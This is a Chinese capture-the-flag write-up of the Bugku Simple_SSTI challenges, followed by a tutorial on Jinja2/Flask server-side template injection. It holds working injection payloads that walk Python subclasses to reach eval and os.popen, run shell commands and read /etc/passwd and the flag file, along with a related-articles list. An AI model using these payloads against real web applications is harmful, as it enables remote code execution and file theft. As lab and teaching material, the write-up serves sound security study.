bugku Simple_SSTI_1and 2(SSTI模板注入)
1.Simple_SSTI_12.Simple_SSTI_2
输入:http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.base.subclasses()%20%}{%%20if%20c.name%27catch_warnings%27%20%}{{%20c.init.globals[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27ls%20/app/%27).read()%22)}}{%%20endif%20%}{%%20endfor%20%}
找到其中的flag文件
http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.base.subclasses()%20%}{%%20if%20c.name%27catch_warnings%27%20%}{{%20c.init.globals[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat%20fl4g%20/app/flag%27).read()%22)}}{%%20endif%20%}{%%20endfor%20%}
SSTI模板注入
1.SSTI含义
SSTI是一种注入类的漏洞,其成因也可以类比SQL注入.SSTI利用的是现有的网站模板引擎,主要针对Python、PHP、JAVA的一些网站处理框架,比如Python的jinja2、mako、tornado、Django,PHP的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候,在过滤不严情况下,通过构造恶意输入数据,从而达到getshell或其他目的。
2.flask原理基础
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。return render_template(‘index.html’)
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
html = '<h1>This is index page</h1>'
return render_template_string(html)
flask是使用Jinja2来作为渲染引擎的。
不正确的使用flask中的render_template_string方法会引发SSTI。
3.方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
函数
config:
{{config}}可以获取当前设置,
如果题目类似app.config [‘FLAG’] =(‘FLAG’),那可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}得到flag
self
{{self.dict._TemplateReference__context.config}} ⇒ 同样可以找到config
1 、获取字符串的类对象
>>> ''.__class__
<type 'str'>
2 、寻找基类
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
3 、寻找可用引用
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
4 、利用之
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
以上就是大致的思路,但是根据不同的情况,最后的利用部分构造的代码会不太一样。不过大同小异。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数{% if 'eval' in b.keys() %} //找到了{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
查找文件
在jinja2中,存在三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
将ls 改成cat fl4g,就可以读取flag了
最后再总结一下解题思路
1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__或者__mro__拿到基类(<class ‘object’>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
5.接下来只要找到能够利用的类(方法、函数)就好
查找根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}
{% endfor %}其中ls / 用于修改
/后面加地址
将ls 改成cat fl4g查看内容
bugku Simple_SSTI_1and 2(SSTI模板注入)相关推荐
- WEB 渗透之SSTI 模板注入
SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...
- SSTI模板注入总结
文章目录 一.初识SSTI 二.判断SSTI类型 三.常用类 1.__class__ 2.__bases__ 3.__subclasses__() 4.类的知识总结(转载) 5.常见过滤器(转载) 四 ...
- buu(ssti模板注入、ssrf服务器请求伪造)
目录 目录 [CISCN2019 华东南赛区]Web11 [BJDCTF2020]EasySearch [De1CTF 2019]SSRF Me [CSCCTF 2019 Qual]FlaskLigh ...
- CTF SSTI模板注入详解
我们用一题"百度杯"CTF比赛来实战解题: 这边临时靶场的URL是:eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/ 首先bp暴力破 ...
- 【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE
漏洞类型 SSTI RCE 利用条件 影响范围应用 漏洞概述 2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导 ...
- CTF笔记 SSTI模板注入
文章目录 前言 一.判断模板类型 二.上例题 1.[BJDCTF2020]Cookie is so stable 2.[BJDCTF2020]The mystery of ip 总结 前言 之前做ss ...
- SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine
知识点: url_for和get_flashed_messages global 设置全局变量,使内部变量值可以被操作 __globals__(这个函数的结果只表示可读的量)使用方法是 fun._gl ...
- PHP中的SSTI模板注入——Twig、Smarty、Blade
目录 前言: (一)Twig 0x01 代码可控 0x02 代码不可控 0x03 输入payload 0x04 靶场演示 (二&
- CTF_Web:从0学习Flask模板注入(SSTI)
0x01 前言 最近在刷题的过程中发现服务端模板注入的题目也比较常见,这类注入题目都比较类似,区别就在于不同的框架.不同的过滤规则可能需要的最终payload不一样,本文将以Flask为例学习模板注入 ...
最新文章
- OpenCV直线拟合检测
- Javascript的闭包及其使用技巧实例
- 新时代营销解决方案:敏捷BI助力银行高效精准营销
- 区位码\机器码\内码关系
- 7-5 流水作业调度 (10 分)(思路+详解+johnson解析)Come Baby!!!!!!!!!!
- Fail-fast 和 Fail-safe 机制
- php+预览和下载pdf文件,vue实现在线预览pdf文件和下载(pdf.js)
- 华为eNSP最稳定的装法
- VB 设置控件边框颜色(如:List、Text、Picture)
- 腾讯校招技术岗面试经历及总结(已发offer)
- 实例079RTF文件的保存
- 图像的三次B样条插值原理与C++实现
- 一线数据分析师教你如何写简历才能脱颖而出!
- 小猫钓鱼(纸牌游戏)-c语言
- java scavenge_JAVA Parallel Scavenge收集器
- 刚工作2年时15k运维工程师-简历
- 基于安卓的共享单车设计与实现
- 如何使用ChatGPT做一份五一出游攻略?
- 苹果隐藏app_更新完iOS14,这9个隐藏黑科技功能,你一定还不知道
- 计算机图形学——二维图形几何转换